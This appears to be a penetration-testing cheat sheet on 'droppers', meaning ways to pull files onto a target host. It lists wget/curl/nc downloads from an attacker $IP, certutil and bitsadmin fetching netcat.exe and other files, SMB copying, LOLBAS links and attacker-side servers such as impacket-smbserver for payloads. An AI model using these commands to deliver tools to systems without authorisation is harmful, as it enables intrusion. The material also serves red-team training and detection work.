Droppers

Classic methods

Linux

$wget http://$IP/file

$curl -k https://$IP/file > file

$nc -nvv $IP 8080 > file

$scp $FILE [email protected]$IP:~

Windows

Powershell

See also Powercat

ROBOCOPY

C:>NET USE \\$IP\IPC$ /USER:DOMAIN\USER

C:>ROBOCOPY \\$IP\DATA\ C:\DATA\ /NP /TEE /E /dcopy:T /Z

C:>NET USE \\$IP\IPC$ /D

BITSAdmin

https://docs.microsoft.com/en-us/windows/desktop/Bits/bitsadmin-tool

• Direct Transfer:

C:>bitsadmin /transfer myDownloadJob /download /priority normal http://$IP/$FILE c:\$FILE

• Using a download queue:

C:>bitsadmin /create myDownloadJob

C:>bitsadmin /addfile myDownloadJob http://$IP/$FILE c:\$FILE

Certutil

C:>certutil.exe -urlcache -split -f "https://$IP/files/netcat.exe" nc.exe

Notepad

C:>notepad.exe http://$IP/file.txt

Living Off the Land (LOLbins) for Windows

Links:

• https://github.com/LOLBAS-Project/LOLBAS
• https://lolbas-project.github.io/
• https://gtfobins.github.io/
• https://github.com/Arno0x/CSharpScripts
• https://gist.github.com/jstangroome/9adaa87a845e5be906c8
• https://gallery.technet.microsoft.com/PS2EXE-Convert-PowerShell-9e4e07f1

Examples:

C:>hh.exe C:\windows\system32\calc.exe

C# compiler built-in command:

C:>csc.exe

Using known protocols

HTTP

• With Python

$python -m SimpleHTTPServer

root #python -m SimpleHTTPServer 80

• With php

$php -S localhost:8000

FTP

root #pip install pyftpdlib

root #python -m pyftpdlib

SMB

root #impacket-smbserver PAYLOADS /root/payload